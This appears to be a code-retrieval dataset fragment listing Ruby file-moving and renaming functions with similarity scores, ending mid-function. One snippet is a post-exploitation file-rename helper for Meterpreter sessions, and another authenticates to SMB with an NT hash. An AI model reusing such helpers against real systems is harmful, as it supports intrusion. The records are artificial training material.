"def move_temp_to_destination\n if !File.exist? temp_file\n $logger.info \"no moving, transcode didn't complete\"\n return\n end\n $logger.info \" moving (temp->destination)\\n #{temp_file} ->\\n #{destination_file}\"\n FileUtils.mv temp_file, destination_file\n end",
"def move(file, new_basename = nil, pathtype: :tree)\n filename = new_basename || File.basename(file)\n path = store_path(filename)\n FileUtils.mv File.expand_path(file), path\n file_path path, pathtype\n end",
"def move_dirs\n \n end",
"def rename_file(old_file, new_file)\n if session.type == \"meterpreter\"\n return (session.fs.file.mv(old_file, new_file).result == 0)\n else\n if session.platform == 'windows'\n cmd_exec(%Q|move /y \"#{old_file}\" \"#{new_file}\"|) =~ /moved/\n else\n cmd_exec(%Q|mv -f \"#{old_file}\" \"#{new_file}\"|).empty?\n end\n end\n end",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def unshare_file_in_db(file_id, user_id)\n $db.execute(\"DELETE FROM shared_files WHERE file_id = ? AND user_id = ?\", file_id, user_id)\nend",
"def test_move_file_in_subdirectory\n `touch ../harness/test/new/foo`\n nd = TestDirectory.new \"../harness/test/new\"\n assert(nd.files.find \"foo\")\n @td.move(:foo, :new, :unclassified)\n assert(File.exist?(\"../harness/test/unclassified/foo\"))\n assert(!File.exist?(\"../harness/test/new/foo\"))\n end",
"def remove_target(target)\n if perms_for(target)[:rm] == false\n @response[:error] ||= 'Some files/directories were unable to be removed'\n @response[:errorData][target.basename.to_s] = \"Access Denied\"\n return\n end\n# create trash folder if it doesn't exist\n trash_dir = File.join(@root,'.trash/')\n FileUtils.mkdir(trash_dir) unless File.exist?(trash_dir)\n# \n begin\n FileUtils.mv(target, trash_dir, :force => true )\n if !target.directory?\n if @options[:thumbs] && (thumbnail = thumbnail_for(target)).file?\n FileUtils.mv(thumbnail, trash_dir, :force => true )\n end\n end\n rescue\n @response[:error] ||= 'Some files/directories were unable to be removed'\n @response[:errorData][target.basename.to_s] = \"Remove failed\"\n end\nend",
"def move_tmp_user_photo(resource)\n if resource.profile_photo!=\"\"\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore)\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo')\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s)\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n source_path = Rails.root.join('public', 'uploads', 'tmp', resource.profile_photo)\n random_token = Digest::SHA2.hexdigest(\"#{Time.now.utc}\").first(20)\n fileExt = File.extname(resource.profile_photo)\n imageName = resource.first_name.to_s.downcase+\"_\"+random_token+fileExt\n imageName = File.basename(imageName) \n imageName.sub(/[^\\w\\.\\-]/,'_')\n \n target_path = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, imageName)\n #target_path_small = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, \"small_\"+imageName)\n #target_path_large = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, \"large_\"+imageName)\n \n if File.exist?(\"#{Rails.root}/public/uploads/tmp/#{resource.profile_photo}\")\n File.rename source_path, target_path\n \n require 'mini_magick'\n \n ## crop image\n image = MiniMagick::Image.open(target_path)\n image.crop(\"#{params[:crop_w].to_s}X#{params[:crop_h].to_s}+#{params[:crop_x1].to_s}+#{params[:crop_y1].to_s}\")\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/\"+imageName.to_s\n \n ## resize the new cropped image\n buffer = StringIO.new(File.open(target_path,\"rb\") { |f| f.read })\n image = MiniMagick::Image.read(buffer)\n image.resize \"58X58\"\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/small_\"+imageName.to_s\n \n buffer = StringIO.new(File.open(target_path,\"rb\") { |f| f.read })\n image = MiniMagick::Image.read(buffer)\n image.resize \"215X215\"\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/large_\"+imageName.to_s\n \n resource.profile_photo = imageName\n resource.save()\n end\n \n end\n end",
"def upload_file_to_guest_as_admin(local_path, guest_path, quiet=false)\n\n log_stdout \"Copying #{local_path} to #{guest_path} as Administrator\", quiet\n\n upload_file_to_guest(local_path, 'C:\\Users\\IEUser\\.tempadminfile',true)\n run_command_as_admin('copy C:\\Users\\IEUser\\.tempadminfile '+ guest_path,true)\n run_command 'del C:\\Users\\IEUser\\.tempadminfile', true\n end",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def move_to_target_directory!\n return if new_record? || !readable?\n\n src = diskfile\n self.disk_directory = target_directory\n dest = diskfile\n\n return if src == dest\n\n if !RedmicaS3::Connection.move_object(src, dest)\n Rails.logger.error \"Could not move attachment from #{src} to #{dest}\"\n return\n end\n\n update_column :disk_directory, disk_directory\n end",
"def move_folder(folder,orig,dest)\n \n puts \"Moving #{orig}/#{key[:dir]} -> #{dest}/#{key[:dir]}\" if @verbose\n FileUtils.mv \"#{orig}/#{key[:dir]}\", \"#{dest}/#{key[:dir]}\"\n\n end",
"def init_shared_folder(config, settings)\n\n if settings['shared_folder_type'] == \"rsync\"\n # args: do not copy symlinks\n config.vm.synced_folder \"../../\", \"/vagrant\", type: \"rsync\",\n rsync__exclude: settings['rsync_exclude'],\n rsync__chown: true,\n rsync__args: [\"--verbose\", \"--archive\", \"--delete\", \"-z\"]\n else\n config.vm.synced_folder \"../../\", \"/vagrant\", type: \"nfs\", mount_options: [\"rw\", \"tcp\", \"nolock\", \"async\"], nfs_udp: false\n config.nfs.map_uid = Process.uid\n config.nfs.map_gid = Process.gid\n end\n\nend",
"def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n\n # if remote file is directory?\n cmd = \"ssh -oStrictHostKeyChecking=no -q #{self.host} \\\"if [ -d #{src_path.shellescape} ]; then /bin/true; else /bin/false; fi\\\"\"\n r = `#{cmd} 2>&1`\n src_path += '/' if $?.exitstatus == 0\n\n cmd = \"ionice -c 2 -n 7 rsync -e \\\"ssh -o StrictHostKeyChecking=no\\\" -a #{FC::Storage.speed_limit_to_rsync_opt(speed_limit)}--rsync-path=\\\"ionice -c 2 -n 7 rsync\\\" #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end",
"def smove(source, destination, member); end",
"def smove(source, destination, member); end",
"def move_from(from_path)\n res = false\n current_user_role_names.each do |role_name|\n # Cycle until we find a role that makes this directory writeable\n next unless Filesystem.test_dir role_name, container, :write\n\n # If a path is set, ensure we can make a directory for it if one doesn't exist\n unless path.blank? || Filesystem.test_dir(role_name, container, :mkdir,\n extra_path: container_path(no_filename: true), ok_if_exists: true)\n next\n end\n\n cleanpath = Filesystem.clean_path(path)\n if cleanpath\n is_trash_path = self.class.trash_path?(cleanpath)\n\n if !is_trash_path && (cleanpath.start_with?('.') || cleanpath.start_with?('/'))\n raise FsException::Action, \"Path to move to is bad: #{cleanpath}\"\n end\n end\n\n to_path = if is_trash_path\n cleanpath\n else\n container_path(no_filename: true)\n end\n\n res = Filesystem.move_file_to_final_location role_name, from_path, container, to_path, file_name\n break if res\n end\n\n unless res\n raise FsException::NoAccess, 'User does not have permission to store file with any of the current groups'\n end\n\n true\n end",
"def move_file(file, destination)\n return nil if file.blank? || destination.blank?\n\n FileUtils.mv(file, destination, force: true) if file_exists?(file)\n end",
"def move_directory(directory,target)\n log_new(\"move directory -> #{File.basename(directory)}\")\n \n if File.exists? \"#{target}/#{File.basename(directory)}\"\n log(\"warning dst directory exists: \\'#{File.basename(directory)}\\'\")\n else \n # if the directory does not exist it is created\n FileUtils.mkdir_p(target,$options) if not File.directory? target\n FileUtils.mv(directory,target,$options) if ( (File.dirname directory) != target.gsub(/\\/$/,'')) \n symlink_on_move(directory,target)\n end\nend",
"def add_shared_folder_to_fusion_vm(options)\n vm_list = get_running_fusion_vms(options)\n if vm_list.to_s.match(/#{options['name']}/)\n if options['host-os-name'].to_s.match(/Linux/)\n fusion_vm_dir = options['fusiondir']+\"/\"+options['name']\n else\n fusion_vm_dir = options['fusiondir']+\"/\"+options['name']+\".vmwarevm\"\n end\n fusion_vmx_file = fusion_vm_dir+\"/\"+options['name']+\".vmx\"\n message = \"Stopping:\\tVirtual Box VM \"+options['name']\n command = \"'#{options['vmrun']}' -T fusion addSharedFolder '#{fusion_vmx_file}' #{options['mount']} #{options['share']}\"\n execute_command(options,message,command)\n else\n if options['verbose'] == true\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} not running\")\n end\n end\n return\nend",
"def move_folder\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir = Item.new(Path.new(params[:dest_dir]))\n\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def remove_moved_files\n scan_for_merges.each do |file|\n if File.amp_lexist?(@repo.working_join(file))\n UI.debug(\"removing #{file}\")\n File.unlink(@repo.working_join(file))\n end\n end\n end",
"def move_epub\n origin = manifest.filename\n target = preview? ? origin + '-preview' : origin\n FileUtils.mv(File.join('epub', \"#{origin}.epub\"),\n File.join('ebooks', \"#{target}.epub\"))\n end",
"def move(d)\n\n\t\t# Validate target directory\n\t\traise \"Target directory not found, #{d}\" unless File.directory?(d)\n\t\tdname = File.expand_path(d)\n\n\t\t# Construct target pathnames\t\t\n\t\tmetanew = File.join( dname, @metafile )\n\t\tdatanew = File.join( dname, @datafile )\n\t\t\n\t\t# Move the pair to new directory\n\t\tbegin\n\t\t\tFileUtils.move( @metafull, metanew ) if has_meta?\n\t\t rescue\n\t\t\traise \"Move failed for #{@metafull} to #{metanew}: $!\"\n\t\t end\n\t\t\n\t\tbegin\n\t\t\tFileUtils.move( @datafull, datanew )\n\t\t rescue\n\t\t\traise \"Move failed for #{@datafull} to #{datanew}: $!\"\n\t\t end\n\n\t\t# Update instance variables\n\t\t@dirname = dname\n\t\t@metafull = metanew\n\t\t@datafull = datanew\n\t\t\n\tend",
"def push_dir(local_path,remote_path)\n debug_p(\"push_dir from #{local_path} to #{remote_path}\")\n begin\n @sftp_session.upload!(local_path,remote_path)\n rescue\n @ssh.exec!(\"rm -rf #{remote_path}\")\n retry\n end\n end",
"def smb_file_rename(rfile, new_name, rdir=nil)\n if rdir.nil?\n dir=''\n else\n dir=' -D ' + rdir\n end\n file = Tempfile.new('ruby_smbclient')\n if @hashpass\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} --pw-nt-hash #{@pass} -c 'rename #{rfile} #{new_name}'#{dir} > #{file.path} 2>&1\")\n else\n success = system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} #{@pass} -c 'rename #{rfile} #{new_name}'#{dir} > #{file.path} 2>&1\")\n end\n file.unlink\n if success\n return true\n else\n return false\n end\n end",
"def copy_files_to_dir(file,destination)\n FileUtils.cp(\"#{@gem_path}/lib/modules/common/#{file}\",\"#{@project_name}/#{destination}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{destination}/#{file}\"\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n FileUtils.mkdir_p(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n src_path = File.join(local_path, local_file)\n dst_path = File.join(remote_path, remote_file)\n FileUtils.send(transfer_method, src_path, dst_path)\n end\n end",
"def move_to(new_path, new_file_name = nil)\n res = false\n new_file_name ||= file_name\n current_user_role_names.each do |role_name|\n curr_path = file_path_for role_name: role_name\n next unless File.exist?(curr_path)\n\n self.path = new_path if new_path\n self.file_name = new_file_name\n self.valid_path_change = true\n\n transaction do\n move_from curr_path\n save!\n res = true\n end\n break\n end\n\n raise FsException::Action, \"Failed to move file to #{new_path}/#{new_file_name}\" unless res\n\n res\n end",
"def update_copied_remote_file(file, copy)\n # the remote has a file that has been copied or moved from copy[file] to file.\n # file is also destination.\n src = copy[file]\n \n # If the user doen't even have the source, then we apparently renamed a directory.\n if !(working_changeset.include?(file2))\n directory nil, file, src, remote.flags(file)\n elsif remote.include? file2\n # If the remote also has the source, then it was copied, not moved\n merge src, file, file, flag_merge(src, file, src), false\n else\n # If the source is gone, it was moved. Hence that little \"true\" at the end there.\n merge src, file, file, flag_merge(src, file, src), true\n end\n end",
"def backup_file folder,file\n @manager ||= Conf::LocalFileManager.new\n newp = File.join(Conf::directories.backup,@curr_source.name.to_s,folder)\n file.zip! unless file.zip?\n @manager.move_files [file],newp\n end",
"def moveFileToPitstopDir(file, dest, logkey='')\n Mcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def remove_local_copy\n Dir.chdir(self.study.data_store_path)\n if File.exists?(self.download_location)\n File.delete(self.download_location)\n subdir = self.remote_location.blank? ? self.id : self.remote_location.split('/').first\n if Dir.exist?(subdir) && Dir.entries(subdir).delete_if {|e| e.start_with?('.')}.empty?\n Dir.rmdir(subdir)\n end\n end\n end",
"def mv(src, dest, options = {})\r\n fu_check_options options, OPT_TABLE['mv']\r\n fu_output_message \"mv#{options[:force] ? ' -f' : ''} #{[src,dest].flatten.join ' '}\" if options[:verbose]\r\n return if options[:noop]\r\n fu_each_src_dest(src, dest) do |s, d|\r\n destent = Entry_.new(d, nil, true)\r\n begin\r\n if destent.exist?\r\n if destent.directory?\r\n raise Errno::EEXIST, dest\r\n else\r\n destent.remove_file if rename_cannot_overwrite_file?\r\n end\r\n end\r\n begin\r\n File.rename s, d\r\n rescue Errno::EXDEV\r\n copy_entry s, d, true\r\n if options[:secure]\r\n remove_entry_secure s, options[:force]\r\n else\r\n remove_entry s, options[:force]\r\n end\r\n end\r\n rescue SystemCallError\r\n raise unless options[:force]\r\n end\r\n end\r\n end",
"def mv(src, dest, options = {})\r\n fu_check_options options, OPT_TABLE['mv']\r\n fu_output_message \"mv#{options[:force] ? ' -f' : ''} #{[src,dest].flatten.join ' '}\" if options[:verbose]\r\n return if options[:noop]\r\n fu_each_src_dest(src, dest) do |s, d|\r\n destent = Entry_.new(d, nil, true)\r\n begin\r\n if destent.exist?\r\n if destent.directory?\r\n raise Errno::EEXIST, dest\r\n else\r\n destent.remove_file if rename_cannot_overwrite_file?\r\n end\r\n end\r\n begin\r\n File.rename s, d\r\n rescue Errno::EXDEV\r\n copy_entry s, d, true\r\n if options[:secure]\r\n remove_entry_secure s, options[:force]\r\n else\r\n remove_entry s, options[:force]\r\n end\r\n end\r\n rescue SystemCallError\r\n raise unless options[:force]\r\n end\r\n end\r\n end",
"def move_to dir=\"\"\n #TODO chmod!!!, работа с флагами\n return false if dir.empty?\n \n filename_target = File.join(dir, @name_target+@extention)\n\n begin\n FileUtils.mv(@filename, filename_target) \n rescue StandardError => e\n add_error e.full_message(@name+@extention) \n return false \n else\n @filename = filename_target\n @name = @name_target\n return true\n end\n end",
"def execute()\r\n FileUtils.cp(@FilePath, @CopiedFilePath)\r\n File.delete(@FilePath) if File.exist?(@FilePath)\r\n end",
"def update_locally_copied(file, renamed_file)\n if !remote_manifest[renamed_file]\n # directory rename (I don't know what's going on here)\n then directory file, nil, renamed_file, working_changeset.flags[file]\n # We found the old name of the file in the remote manifest.\n else merge file, renamed_file, file, flag_merge[file, renamed_file, renamed_file], false\n end\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def shift_from(other)\n raise ArgumentError.new(other) unless other.kind_of?(self.class)\n unless File.ftype(other.path) == \"file\"\n raise ArgumentError.new(other)\n end\n dir = @path.dirname\n dir.mkpath unless dir.exist?\n FileUtils.mv(other.path, @path)\n end"
] | [
"0.74314934",
"0.72868216",
"0.68529665",
"0.6645285",
"0.66320395",
"0.6386309",
"0.6350611",
"0.62262976",
"0.620629",
"0.6127031",
"0.6114249",
"0.60966414",
"0.6084613",
"0.60708374",
"0.6058741",
"0.6040684",
"0.6022039",
"0.6017292",
"0.601329",
"0.5978677",
"0.5930657",
"0.5890339",
"0.588893",
"0.5884544",
"0.58654976",
"0.58605605",
"0.5858793",
"0.5854116",
"0.58384615",
"0.5827418",
"0.58199066",
"0.5799607",
"0.5764423",
"0.57632166",
"0.57569045",
"0.5751943",
"0.5725285",
"0.5724091",
"0.572102",
"0.5710048",
"0.5708025",
"0.56952065",
"0.5680076",
"0.56714",
"0.56687737",
"0.56590444",
"0.56584835",
"0.565584",
"0.56517875",
"0.56499803",
"0.56473935",
"0.56294036",
"0.5615839",
"0.56143653",
"0.56069154",
"0.56062096",
"0.5580586",
"0.5576213",
"0.5546731",
"0.55432636",
"0.5542142",
"0.551522",
"0.5511866",
"0.549009",
"0.54894036",
"0.546168",
"0.5445242",
"0.5445037",
"0.5445032",
"0.5436998",
"0.54362243",
"0.54290617",
"0.5424279",
"0.5423402",
"0.5409388",
"0.5409388",
"0.54050493",
"0.53934693",
"0.53924984",
"0.53895825",
"0.5389555",
"0.5385845",
"0.5385781",
"0.5385572",
"0.5382125",
"0.5380648",
"0.5378765",
"0.5378455",
"0.53746855",
"0.5372356",
"0.5366775",
"0.5363219",
"0.53575516",
"0.5347315",
"0.5347315",
"0.53405315",
"0.5339303",
"0.53371584",
"0.53354245",
"0.53323716"
] | 0.70195264 | 2 |
move file from "Shared Files" folder to personal vault | def unshare_file
id = params[:id]
mixpanel_tab_event("My Vault", "Share File")
session[:current_folder] = params[:folder]
client = user_client
# get my folder, then move file into my folder
myFolder = client.folder_from_path('My Files')
client.move_file(id, myFolder)
flash[:notice] = "File moved to private folder!"
redirect_to dashboard_id_path(myFolder.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_file\n\n destFolder = params[:dest]\n targetFile = params[:file_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move File - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_file(targetFile, destFolder)\n flash[:notice] = \"File moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: File could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def share_file\n\n id = params[:id]\n mixpanel_tab_event(\"My Vault\", \"Share File\")\n session[:current_folder] = params[:folder]\n client = user_client\n\n # get shared folder, then move file into shared folder\n sharedFolder = client.folder_from_path(\"#{session[:userinfo]['info']['name']} - Shared Files\")\n client.move_file(id, sharedFolder)\n flash[:notice] = \"File shared with company employee!\"\n\n redirect_to dashboard_id_path(sharedFolder.id)\n end",
"def move_folder\n\n destFolder = params[:dest]\n targetFolder = params[:folder_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move Folder - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_folder(targetFolder, destFolder)\n flash[:notice] = \"Folder moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: Folder could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def move_file\n\n end",
"def google_move_file(client)\n notify \"Command : Google move file\"\n # result : error message\n # google treat folders as files\n src_files = move_copy_file_source\n dest_path = CGI::unescape(@fields[:dst_path].to_s)\n result = client.move_files(src_files,dest_path)\n\n end",
"def reshare dir, host\n if File.exist? \"#{dir}/#{host}/.completed\"\n `share -F nfs -o ro=#{host},anon=0 #{dir}/#{host} > /dev/null 2>&1`\n end\nend",
"def mv(from_location, to_location)\n @client.file_move(from_location, to_location)\n rescue\n puts $! if @@verbose\n nil\n end",
"def move(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:move, access_token)\n res = connexion.post do |req|\n req.url \"fileops/move\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end",
"def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend",
"def test_move_file\n remote_file_name = 'TestMoveFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = MoveFileRequest.new(dest_path: remote_test_out + '/TestMoveFileDest_' + generate_uuid + '.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.move_file(request)\n end",
"def move_to_trash!(remove_empty_dir: true)\n curr_path, = file_path_and_role_name\n unless curr_path\n raise FsException::Action, \"Move to trash not allowed. File not accessible with current roles: #{curr_path}\"\n end\n\n dt = DateTime.now.to_i\n new_file_name = \"#{file_name}--#{dt}\"\n move_to trash_path, new_file_name\n\n return unless curr_path && is_a?(ArchivedFile) && remove_empty_dir\n\n NfsStore::Archive::Mounter.remove_empty_archive_dir(curr_path)\n end",
"def share_folder(location, name, box)\n if location\n box.vm.share_folder(name, name, location, :nfs => true)\n end\nend",
"def move_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n\n response = {}\n if source_file.path.to_s == dest_file.path.to_s\n response[:msg] = \"Same file\"\n render json: response, status: 200\n return\n end\n\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.move_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def post_move(filename,src_repo,data)\n curl_post(\"#{self.host}/api2/repos/#{src_repo}/file/?p=#{filename}\",data).body_str\n end",
"def preserve_folder(aReleaseFolder,aSharedFolder)\t\n\t\taReleaseFolder = File.join(release_path,aReleaseFolder)\n\t\taSharedFolder = File.join(shared_path,aSharedFolder)\n\t\trelease_exists = file_exists?(aReleaseFolder)\n\t\tshared_exists = file_exists?(aSharedFolder)\n\t\tif shared_exists\n\t\t\trun \"rm -rf #{aReleaseFolder}\" if release_exists\n\t\telse\n\t\t\trun \"mv #{aReleaseFolder} #{aSharedFolder}\" if release_exists\n\t\tend\n\t\tensure_link(\"#{aSharedFolder}\",\"#{aReleaseFolder}\",nil,\"#{user}:#{apache_user}\")\n\tend",
"def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end",
"def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end",
"def move(command)\n src = clean_up(command[1])\n dest = clean_up(command[2])\n pp @client.files.move(src, dest)\n end",
"def transfer!\n create_local_directories!\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end",
"def move_opt_chef(src, dest)\n converge_by(\"moving all files under #{src} to #{dest}\") do\n FileUtils.rm_rf dest\n raise \"rm_rf of #{dest} failed\" if ::File.exist?(dest) # detect mountpoints that were not deleted\n FileUtils.mv src, dest\n end\nrescue => e\n # this handles mountpoints\n converge_by(\"caught #{e}, falling back to copying and removing from #{src} to #{dest}\") do\n begin\n FileUtils.rm_rf dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n begin\n FileUtils.mkdir dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n FileUtils.cp_r Dir.glob(\"#{src}/*\"), dest\n FileUtils.rm_rf Dir.glob(\"#{src}/*\")\n end\nend",
"def elegant_move(file_name, destination_name)\n # Generate full paths\n destination = \"#{ENV['HOME']}/#{destination_name}\"\n file = \"#{ENV['HOME']}/dotfiles/#{file_name}\"\n\n # If the destination already exists\n if (File.exists?(destination) or File.symlink?(destination))\n # If the destination has the same content as the file, skip\n if files_are_same(destination, file)\n puts \"#{file_name} - skipping\".yellow\n else\n # Create the backup dir if doesn't already exist\n `mkdir -p ~/.backup`\n\n # Else backup the old file\n backup_path = \".backup/#{destination_name}_#{Time.now.to_f}\"\n backup = \"#{ENV['HOME']}/#{backup_path}\"\n puts \"#{file_name} - moving old\".green\n # Ignore errors we may get in case of dodgy symlinks\n `mv #{destination} #{backup} 2> /dev/null`\n \n # Then link the new file\n symlink file, destination, :force => true, :verbose => false\n end\n else\n # Else link the new file\n puts \"#{file_name} - creating\".green\n symlink file, destination, :force => true, :verbose => false\n end\nend",
"def test_post_move_file\n\n src = 'folder1/FileTest.pdf'\n dest = 'folder3/folder1/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n destStorage = 'First Storage'\n request = PostMoveFileRequest.new(src, dest, versionId, storage, destStorage)\n\n result = @storage_api.post_move_file(request)\n assert result.code == 200, 'Error while moving document'\n\n end",
"def move(from_path, to_path, opts = {})\n input_json = {\n from_path: from_path,\n to_path: to_path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/move\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def update\n context.execute :rm, '-rf', \"#{deploy_path}/local_file/*\"\n context.upload! fetch(:repo_url), \"#{deploy_path}/local_file/#{fetch(:repo_url)}\"\n end",
"def move_to_trash\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir_path = Pathname.new(source_dir.path.dirname.to_s + \"/RESTARTED/RESTARTED_\" + source_dir.path.basename.to_s)\n\n dest_dir_string = dest_dir_path.to_s\n dir_found = false\n i = 1\n while(!dir_found)\n dest_dir = Item.new(Path.new(dest_dir_string))\n if dest_dir.exist?\n dest_dir_string = dest_dir_path.to_s + \"_#{i}\"\n i += 1\n else\n dir_found = true\n end\n end\n\n response = {}\n if !source_dir.exist?\n response[:msg] = \"No folder at location, nothing to do\"\n render json: response, status: 200\n elsif source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end",
"def disk_mv(src_file, dst_file, options)\n mover = options[:git] ? 'git mv' : 'mv'\n command = \"#{mover} '#{src_file.path}' '#{dst_file.path}'\"\n system(command) || raise(InputError, \"#{command} failed\")\n end",
"def file_move(from_path, to_path)\n params = {\n \"root\" => @root,\n \"from_path\" => format_path(from_path, false),\n \"to_path\" => format_path(to_path, false),\n }\n response = @session.do_post build_url(\"/fileops/move\", params)\n parse_response(response)\n end",
"def test_move_folder\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/TestMoveFolderSrc/TestMoveFolderSrc.docx'\n\n request = MoveFolderRequest.new(dest_path: remote_test_out + '/TestMoveFolderDest_' + generate_uuid, src_path: remote_data_folder + '/TestMoveFolderSrc')\n\n @words_api.move_folder(request)\n end",
"def replace_file!(tmp_file_path)\n # Retain the current file name and path\n orig_path = path\n orig_file_name = file_name\n\n blanked_path = path || ''\n if respond_to? :archive_file\n orig_archive_file = archive_file\n orig_file_path = File.join(blanked_path, orig_archive_file, orig_file_name)\n else\n orig_file_path = File.join(blanked_path, orig_file_name)\n end\n file_path, role_name = file_path_and_role_name\n new_trash_path = trash_path\n\n unless file_path\n raise FsException::Action, \"Replacing file not allowed. File not accessible with current roles: #{file_path}\"\n end\n\n orig_fs_path = Filesystem.nfs_store_path(role_name, container, path, file_name, archive_file: orig_archive_file)\n self.current_role_name = role_name\n\n transaction do\n # Move the current file to trash. Prevent removal of an empty directory\n # since the replacement will go back into it\n move_to_trash! remove_empty_dir: false\n\n unless self.class.trash_path?(path)\n raise FsException::Action, \"Replacing file did not move original to trash: #{orig_file_path}\"\n end\n\n trash_file_path = Filesystem.nfs_store_path(role_name, container, new_trash_path, file_name)\n unless File.exist?(trash_file_path)\n raise FsException::Action,\n \"Replacing file did not move the actual file to the trash filesystem location: #{trash_file_path}\"\n end\n\n # 